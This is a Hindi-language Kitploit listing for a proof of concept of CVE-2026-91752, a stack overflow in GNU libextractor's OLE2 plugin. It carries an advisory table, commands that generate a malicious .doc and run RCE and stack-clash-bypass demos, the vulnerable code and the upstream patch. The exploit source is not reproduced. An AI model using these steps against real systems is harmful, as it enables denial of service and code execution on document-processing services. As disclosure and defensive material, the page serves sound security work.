Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
libextractor-ole2-rce — GNU libextractor ≤ 1.14 में एक गंभीर स्टैक-आधारित बफ़र ओवरफ़्लो के लिए PoC। एक दुर्भावनापूर्ण .doc फ़ाइल एक अनबाउंडेड VLA आवंटन को ट्रिगर करती है जिससे बिना शर्त DoS होता है। मल्टी-थ्रेडेड वातावरण में, यह पूर्ण RCE के लिए स्टैक-क्लैश सुरक्षाओं को बायपास करता है। | Kitploit
उपकरण/GitHubGitHub/haitam-lazaar/libextractor-ole2-rce
मेमोरी फोरेंसिकपेलोड जनरेशनभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगबाइनरी शोषणलैब और अभ्यास
GitHubhaitam-lazaar/libextractor-ole2-rce

libextractor-ole2-rce

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

GNU libextractor ≤ 1.14 में एक गंभीर स्टैक-आधारित बफ़र ओवरफ़्लो के लिए PoC। एक दुर्भावनापूर्ण .doc फ़ाइल एक अनबाउंडेड VLA आवंटन को ट्रिगर करती है जिससे बिना शर्त DoS होता है। मल्टी-थ्रेडेड वातावरण में, यह पूर्ण RCE के लिए स्टैक-क्लैश सुरक्षाओं को बायपास करता है।

रिपॉजिटरी देखें
73 दिन पहलेअभी तक समीक्षित नहीं

CVE-2026-91752: GNU libextractor में OLE2 के माध्यम से स्टैक ओवरफ़्लो

सारांश

GNU libextractor के OLE2 प्लगइन में एक स्टैक-आधारित बफ़र ओवरफ़्लो, एक तैयार किए गए .doc फ़ाइल को प्रोसेस करते समय रिमोट डिनायल ऑफ़ सर्विस (क्रैश) और कोड एक्ज़ीक्यूशन की अनुमति देता है। यह भेद्यता process_star_office() (ole2_extractor.c:349) में है, जो हमलावर-नियंत्रित फ़ाइल डेटा के आधार पर स्टैक पर 4MB तक का Variable Length Array आवंटित करता है।

प्राथमिक प्रभाव: रिमोट डिनायल ऑफ़ सर्विस — दुर्भावनापूर्ण फ़ाइल को प्रोसेस करने वाले किसी भी एप्लिकेशन को क्रैश कर देता है
द्वितीयक प्रभाव: -fstack-clash-protection के adjacent-thread-stack बायपास के माध्यम से रिमोट कोड एक्ज़ीक्यूशन

फ़ील्डमान
CVECVE-2026-91752
उत्पादGNU libextractor
प्रभावित संस्करण< 1.15 (1.14 तक के सभी संस्करण)
ठीक किया गया संस्करण1.15
CVSS 4.08.7 HIGH (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N)
CVSS 3.17.5 HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
गंभीरताHIGH (DoS) / CRITICAL (मल्टी-थ्रेडेड इन-प्रोसेस मोड में RCE)
CWECWE-789 (अत्यधिक आकार मान के साथ मेमोरी आवंटन) / CWE-121 (स्टैक-आधारित बफ़र ओवरफ़्लो)
अटैक वेक्टरनेटवर्क (कोई भी फ़ाइल प्रोसेसिंग पथ)
आवश्यक विशेषाधिकारकोई नहीं
उपयोगकर्ता इंटरैक्शनकोई नहीं
CNAVulnCheck
शोधकर्ताHaitam Lazaar

नोट: आधुनिक GCC (≥8) डिफ़ॉल्ट रूप से -fstack-clash-protection सक्षम करता है, जो सिंगल-थ्रेडेड एप्लिकेशन पर शोषणीय ओवरफ़्लो को एक सुरक्षित क्रैश में बदल देता है। हालाँकि, यह शमन मल्टी-थ्रेडेड एप्लिकेशन में बायपास किया जा सकता है जहाँ थ्रेड स्टैक मेमोरी में आसन्न होते हैं — VLA प्रोब पड़ोसी थ्रेड के स्टैक में सफल हो जाते हैं, जिससे कठोर बनाए गए बिल्ड पर भी पूर्ण कोड एक्ज़ीक्यूशन संभव हो जाता है। विवरण के लिए docs/BYPASS.md देखें।

प्रभावित सॉफ़्टवेयर

  • GNU libextractor ≤ 1.14 (OLE2 प्लगइन वाले सभी संस्करण)
  • अविश्वसनीय .doc फ़ाइलों को प्रोसेस करने के लिए libextractor का उपयोग करने वाला कोई भी एप्लिकेशन
  • GNUnet (फ़ाइल शेयरिंग इंडेक्सर)

त्वरित डेमो

root@kitploit:~
# Generate malicious .doc
python3 poc/gen_payload.py exploit.doc

# Any application that processes this file with libextractor crashes:
extract exploit.doc                    # CLI tool → OLE2 plugin worker crashes
gnunet-publish exploit.doc             # GNUnet → gnunet-helper-fs-publish crashes

प्रूफ़ ऑफ़ कॉन्सेप्ट (लैब डेमो)

Remote Code Execution Demo

ऊपर दिया गया एनिमेशन lab-setup/ डायरेक्टरी में प्रदान किए गए स्वचालित लैब वातावरण को प्रदर्शित करता है। केवल docker compose up चलाकर, एक हमलावर कंटेनर स्वचालित रूप से दुर्भावनापूर्ण .doc पेलोड उत्पन्न करता है और इसे एक भेद्य Document Indexing वेब सेवा पर अपलोड करता है। libextractor पार्सिंग लॉजिक VLA स्टैक ओवरफ़्लो को ट्रिगर करता है, जिससे हमलावर चुपचाप मनमाना कोड एक्ज़ीक्यूशन प्राप्त कर सकता है। हम कमांड आउटपुट देखने के लिए लक्ष्य कंटेनर पर cat /tmp/pwned चलाकर शोषण की पुष्टि करते हैं।

रिपॉज़िटरी संरचना

root@kitploit:~
├── poc/                    # Proof of concept
│   ├── gen_payload.py      # Generates malicious .doc trigger file
│   ├── poc_rce.c           # Demonstrates code execution (protection disabled)
│   └── bypass_rce.c        # Stack-clash-protection bypass (multi-threaded)
├── exploit/                # Exploitation details
│   ├── remote_exploit.sh   # Example: triggering via HTTP upload (lab scenario)
│   └── extract_server.c    # Example: vulnerable application using libextractor
├── patches/                # Recommended fix
│   └── 0001-fix-ole2-vla.patch
├── lab-setup/              # Reproducible test environment
│   ├── Dockerfile          # Builds vulnerable libextractor from source
│   ├── docker-compose.yml  # Full lab (includes HTTP upload as one test vector)
│   └── upload_server.py    # Document indexing service simulation
└── docs/
    ├── BYPASS.md           # Stack-clash-protection bypass technique
    └── PAYLOAD_STRUCTURE.md # Malicious .doc file format documentation

पुनरुत्पादन

क्रैश / DoS (किसी भी सिस्टम पर काम करता है)

root@kitploit:~
# Build libextractor from source
./configure && make && sudo make install

# Generate trigger file
python3 poc/gen_payload.py exploit.doc

# Crash any libextractor consumer
extract exploit.doc   # crashes the OLE2 plugin worker

कोड एक्ज़ीक्यूशन (सुरक्षा अक्षम)

root@kitploit:~
gcc -O2 -fno-stack-clash-protection -o poc_rce poc/poc_rce.c -lextractor
ulimit -s 2048
./poc_rce exploit.doc   # executes attacker payload (exit code 42)

कोड एक्ज़ीक्यूशन (सुरक्षा बायपास, मल्टी-थ्रेडेड)

root@kitploit:~
gcc -O2 -fstack-clash-protection -o bypass_rce poc/bypass_rce.c -lextractor -lpthread
./bypass_rce exploit.doc   # bypasses protection, executes payload (exit code 42)

Docker लैब

root@kitploit:~
docker-compose -f lab-setup/docker-compose.yml up -d

मूल कारण

root@kitploit:~
// src/plugins/ole2_extractor.c:349
off_t size = gsf_input_size(src);        // Attacker controls via OLE2 stream
if (size > 4 * 1024 * 1024) return 0;   // Max 4MB allowed — but stack is 1-8MB
char buf[size];                           // VLA: up to 4MB ON THE STACK
gsf_input_read(src, size, buf);           // Write attacker data

-fstack-clash-protection के बिना, कंपाइलर उत्पन्न करता है:

root@kitploit:~
sub %rax, %rsp    ; Single instruction, jumps RSP past guard page

-fstack-clash-protection के साथ, मल्टी-थ्रेडेड संदर्भों में प्रोब को अभी भी बायपास किया जा सकता है (docs/BYPASS.md देखें)।

आधिकारिक पैच (libextractor 1.15)

root@kitploit:~
-  if ( (size < 0x374) ||
-       (size > 4 * 1024 * 1024) )
+  char buf[0x374];
+
+  if (size < 0x374)
     return 0;
-  {
-    char buf[size];
-    gsf_input_read (src, size, (unsigned char*) buf);
+  gsf_input_read (src, sizeof(buf), (unsigned char*) buf);

संदर्भ

  • CVE रिकॉर्ड: https://www.cve.org/CVERecord?id=CVE-2026-91752
  • NVD प्रविष्टि: https://nvd.nist.gov/vuln/detail/cve-2026-91752
  • VulnCheck एडवाइज़री: https://www.vulncheck.com/advisories/gnu-libextractor-before-1.15-stack-overflow-via-ole2
  • अपस्ट्रीम पैच कमिट:
    • Commit 04004eb1
    • Commit 2781c7e9
  • उत्पाद: https://www.gnu.org/software/libextractor/

श्रेय

मेरे (Haitam Lazaar) द्वारा अपने स्वतंत्र सुरक्षा शोध के दौरान खोजा गया।

आभार

GNU libextractor के मेंटेनर Christian Grothoff को विशेष धन्यवाद, उनके अविश्वसनीय रूप से तेज़ ट्राइएज, पेशेवर संचार, और इस ऑडिट के दौरान रिपोर्ट किए गए इस तथा कई अन्य मेमोरी सुरक्षा मुद्दों को हल करने के लिए पैच (v1.15, v1.16, और v1.17) की त्वरित तैनाती के लिए।

लाइसेंस

मेरा शोध शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रदान किया गया है। जिम्मेदारी से उपयोग करें।

टूल डाउनलोड करें